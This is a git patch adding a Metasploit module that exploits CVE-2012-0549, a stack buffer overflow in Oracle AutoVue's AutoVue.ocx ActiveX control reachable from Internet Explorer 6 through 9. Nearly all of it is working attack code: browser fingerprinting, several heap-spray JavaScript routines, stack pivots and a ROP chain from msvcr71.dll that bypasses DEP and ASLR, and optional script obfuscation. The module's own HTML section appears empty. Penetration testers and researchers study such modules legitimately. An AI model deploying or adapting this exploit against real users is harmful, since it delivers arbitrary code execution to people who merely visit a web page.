From 4e8a6f6508445747241f40d48e2cf184561e79ec Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 5 Aug 2012 12:13:23 +0200 Subject: [PATCH] Added module for CVE-2012-0549 --- .../browser/oracle_autovue_setmarkupmode.rb | 405 ++++++++++++++++++ 1 file changed, 405 insertions(+) create mode 100644 modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb diff --git a/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb b/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb new file mode 100644 index 0000000000..4a36b11ca9 --- /dev/null +++ b/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb @@ -0,0 +1,405 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::Remote::Seh + include Msf::Exploit::Remote::BrowserAutopwn + + autopwn_info({ + :ua_name => HttpClients::IE, + :ua_minver => "6.0", + :ua_maxver => "9.0", + :javascript => true, + :os_name => OperatingSystems::WINDOWS, + :classid => "{B6FCC215-D303-11D1-BC6C-0000C078797F}", + :method => "SetMarkupMode", + :rank => NormalRanking + }) + + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Oracle AutoVue ActiveX Control SetMarkupMode Buffer Overflow', + 'Description' => %q{ + This module exploits a vulnerability found in the AutoVue.ocx ActiveX control. + The vulnerability, due to the insecure usage of an strcpy like function in the + SetMarkupMode method, when handling a specially crafted sMarkup argument, allows + to trigger a stack based buffer overflow which leads to code execution under the + context of the user visiting a malicious web page. + + The module has been successfully tested against Oracle AutoVue Desktop Version + 20.0.0 (AutoVue.ocx 20.0.0.7330) on IE 6, 7, 8 and 9 (Java 6 needed to DEP and + ASLR bypass). + }, + 'Author' => + [ + 'Brian Gorenc', # Vulnerability discovery + 'juan' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2012-0549' ], + [ 'BID', '53077' ], + [ 'OSVDB', '81439' ], + [ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-12-05' ], + [ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpuapr2012-366314.html' ] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process', + + }, + 'Payload' => + { + 'Space' => 948, + 'DisableNops' => true, + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Platform' => 'win', + 'Targets' => + [ + # AutoVue.ocx 20.0.0.7330 + [ 'Automatic', {} ], + [ + 'IE 6 on Windows XP SP3', + { + 'SprayBlocks' => 0x185, + 'SprayCounter' => '0x5f2', # 0x0c0c0c08 + 'SprayOffset' => '0x600', # 0x0c0c0c24 + 'Offset' => 1052, + 'Ret' => 0x0c0c0c0c, + 'Rop' => nil, + 'RandomHeap' => false + } + ], + [ + 'IE 7 on Windows XP SP3 / Windows Vista SP2', + { + 'SprayBlocks' => 0x185, + 'SprayCounter' => '0x5f2', # 0x0c0c0c08 + 'SprayOffset' => '0x600', # 0x0c0c0c24 + 'Offset' => 1052, + 'Ret' => 0x0c0c0c0c, + 'Rop' => nil, + 'RandomHeap' => false + } + ], + [ + 'IE 8 with Java 6 on Windows XP SP3/7 SP1/Vista SP2', + { + 'SprayBlocks' => 0x185, + 'SprayCounter' => '0x5f2', # 0x0c0c0c08 + 'SprayStackPivot' => '0x5f6', # 0x0c0c0c10 + 'SprayOffset' => '0x5fc', # 0x0c0c0c1c + 'Offset' => 1052, + 'Ret' => 0x0c0c0c0c, + 'Rop' => :jre, + 'RandomHeap' => false, + } + ], + [ + 'IE 9 with Java 6 on Windows 7 SP1', + { + 'SprayBlocks' => 0x1000, + 'SprayNops' => '0x5f6', # 0x0c0c0bfc + 'SprayCounter' => '0x5fc', # 0x0c0c0c08 + 'SprayStackPivot' => '0x600', # 0x0c0c0c10 + 'SprayOffset' => '0x606', # 0x0c0c0c1c + 'Offset' => 1052, + 'Ret' => 0x0c0c0c0c, + 'Rop' => :jre, + 'RandomHeap' => true, + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Apr 18 2012', + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) + ], self.class + ) + + end + + def get_easy_spray(t, js_code, js_nops, js_counter) + + spray = <<-JS + var heap_obj = new heapLib.ie(0x20000); + var code = unescape("#{js_code}"); + var nops = unescape("#{js_nops}"); + var counter = unescape("#{js_counter}"); + + while (nops.length < 0x80000) nops += nops; + + var offset = nops.substring(0, #{t['SprayCounter']}); + var offset_2 = nops.substring(0, #{t['SprayOffset']} - offset.length - counter.length); + var block_used = code.length + offset_2.length + counter.length + offset.length; + var shellcode = offset + counter + offset_2 + code + nops.substring(0, 0x800 - block_used); + + while (shellcode.length < 0x40000) shellcode += shellcode; + var block = shellcode.substring(0, (0x80000-6)/2); + + heap_obj.gc(); + for (var z=1; z < #{t['SprayBlocks']}; z++) { + heap_obj.alloc(block); + } + + JS + + return spray + + end + + def get_aligned_spray(t, js_code, js_nops, js_counter, js_stack_pivot) + + spray = <<-JS + var heap_obj = new heapLib.ie(0x20000); + var code = unescape("#{js_code}"); + var nops = unescape("#{js_nops}"); + var counter = unescape("#{js_counter}"); + var stack_pivot = unescape("#{js_stack_pivot}") + + while (nops.length < 0x80000) nops += nops; + + var offset = nops.substring(0, #{t['SprayCounter']}); + var offset_2 = nops.substring(0, #{t['SprayStackPivot']} - offset.length - counter.length); + var offset_3 = nops.substring(0, #{t['SprayOffset']} - offset.length - counter.length - offset_2.length - stack_pivot.length); + var block_used = code.length + offset_3.length + stack_pivot.length + offset_2.length + counter.length + offset.length; + var shellcode = offset + counter + offset_2 + stack_pivot + offset_3 + code + nops.substring(0, 0x800 - block_used); + + while (shellcode.length < 0x40000) shellcode += shellcode; + var block = shellcode.substring(0, (0x80000-6)/2); + + heap_obj.gc(); + for (var z=1; z < #{t['SprayBlocks']}; z++) { + heap_obj.alloc(block); + } + + JS + + return spray + + end + + # Spray published by corelanc0d3r + # Exploit writing tutorial part 11 : Heap Spraying Demystified + # See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/ + def get_random_spray(t, js_code, js_nops, js_90_nops, js_counter, js_stack_pivot) + + spray = <<-JS + + function randomblock(blocksize) + { + var theblock = ""; + for (var i = 0; i < blocksize; i++) + { + theblock += Math.floor(Math.random()*90)+10; + } + return theblock; + } + + function tounescape(block) + { + var blocklen = block.length; + var unescapestr = ""; + for (var i = 0; i < blocklen-1; i=i+4) + { + unescapestr += "%u" + block.substring(i,i+4); + } + return unescapestr; + } + + var heap_obj = new heapLib.ie(0x10000); + + var code = unescape("#{js_code}"); + var nops = unescape("#{js_nops}"); + var nops_90 = unescape("#{js_90_nops}"); + var counter = unescape("#{js_counter}"); + var stack_pivot = unescape("#{js_stack_pivot}") + + while (nops_90.length < 0x80000) nops_90 += nops_90; + + for (var i=0; i < #{t['SprayBlocks']}; i++) { + var padding = unescape(tounescape(randomblock(0x1000))); + while (padding.length < 0x1000) padding+= padding; + + + var offset = padding.substring(0, #{t['SprayNops']}); + var offset_2 = padding.substring(0, #{t['SprayCounter']} - offset.length - nops.length); + var offset_4 = padding.substring(0, #{t['SprayOffset']} - offset.length - nops.length - offset_2.length - counter.length - nops.length - stack_pivot.length); + var block_used = code.length + offset_4.length + stack_pivot.length + nops.length + counter.length + offset_2.length + nops.length + offset.length; + var single_sprayblock = offset + nops + offset_2 + counter + nops + stack_pivot + offset_4 + code + padding.substring(0, 0x800 - block_used); + + while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock; + sprayblock = single_sprayblock.substring(0, (0x40000-6)/2); + heap_obj.alloc(sprayblock); + } + + JS + + return spray + end + + + def junk(n=4) + return rand_text_alpha(n).unpack("V").first + end + + def nop + return make_nops(4).unpack("V").first + end + + # stackpivot from msvcr71.dll + def get_stack_pivot_stage_1 + rop = [ 0x7c341ae4 ].pack("V*") # ADD ESP,48 # RETN + return rop + end + + # stackpivot from msvcr71.dll + def get_stack_pivot_stage_2 + rop = [ + 0x7c3522ca, # ADD EAX,20 # RETN + 0x7c348b05, # XCHG EAX,ESP # RETN + ].pack("V*") + rop = rop.gsub(/"/, "\\\"") + return rop + end + + # ROP chain (msvcr71.dll) generated by mona.py - See corelan.be + def get_rop_chain + rop = [ + 0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN + 0x00001000, # (dwSize) + 0x7c347f98, # RETN (ROP NOP) + 0x7c3415a2, # JMP [EAX] + 0xffffffff, + 0x7c376402, # skip 4 bytes + 0x7c345255, # INC EBX # FPATAN # RETN + 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN + 0x7c344f87, # POP EDX # RETN + 0x00000040, # flNewProtect + 0x7c34d201, # POP ECX # RETN + 0x7c38b001, # &Writable location + 0x7c347f97, # POP EAX # RETN + 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF + 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN + 0x7c345c30, # ptr to 'push esp # ret ' + ].pack("V*") + + return rop + end + + def get_target(agent) + #If the user is already specified by the user, we'll just use that + return target if target.name != 'Automatic' + + if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/ + return targets[1] #IE 6 on Windows XP SP3 + elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ + return targets[2] #IE 7 on Windows XP SP3 + elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/ + return targets[2] #IE 7 on Windows Vista SP2 + elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/ + return targets[3] #IE 8 on Windows XP SP3 + elsif agent =~ /NT 6\.[01]/ and agent =~ /MSIE 8/ + return targets[3] #IE 8 on Windows 7 SP1/Vista SP2 + elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/ + return targets[4] #IE 9 on Windows 7 SP1 + else + return nil + end + end + + def on_request_uri(cli, request) + + agent = request.headers['User-Agent'] + print_status("User-agent: #{agent}") + + my_target = get_target(agent) + + # Avoid the attack if the victim doesn't have a setup we're targeting + if my_target.nil? + print_error("Browser not supported: #{agent}") + send_not_found(cli) + return + end + + p = payload.encoded + + if my_target['Rop'].nil? + js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch)) + else + js_stack_pivot = Rex::Text.to_unescape(get_stack_pivot_stage_1, Rex::Arch.endian(my_target.arch)) + js_code = Rex::Text.to_unescape(get_rop_chain + p, Rex::Arch.endian(my_target.arch)) + end + + js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch)) + js_90_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch)) + js_counter = Rex::Text.to_unescape("\x01\x00\x00\x00", Rex::Arch.endian(my_target.arch)) + + js = "" + + if my_target['RandomHeap'] + js = get_random_spray(my_target, js_code, js_nops, js_90_nops, js_counter, js_stack_pivot) + elsif my_target['Rop'] + js = get_aligned_spray(my_target, js_code, js_nops, js_counter, js_stack_pivot) + else + js = get_easy_spray(my_target, js_code, js_nops, js_counter) + end + + js = heaplib(js, {:noobfu => true}) + + if datastore['OBFUSCATE'] + js = ::Rex::Exploitation::JSObfu.new(js) + js.obfuscate + end + + if my_target['Rop'].nil? + sploit = rand_text_alpha(my_target['Offset']) + else + sploit = rand_text_alpha(8) + sploit << get_stack_pivot_stage_2 + # +1 because of the escape character in get_stack_pivot_stage_2 + sploit << rand_text_alpha(my_target['Offset'] - sploit.length + 1) + end + sploit << [my_target.ret].pack("V") + + html = <<-MYHTML + + + + + + + + + + + MYHTML + + html = html.gsub(/^\t\t/, '') + + print_status("Sending html") + send_response(cli, html, {'Content-Type'=>'text/html'}) + end +end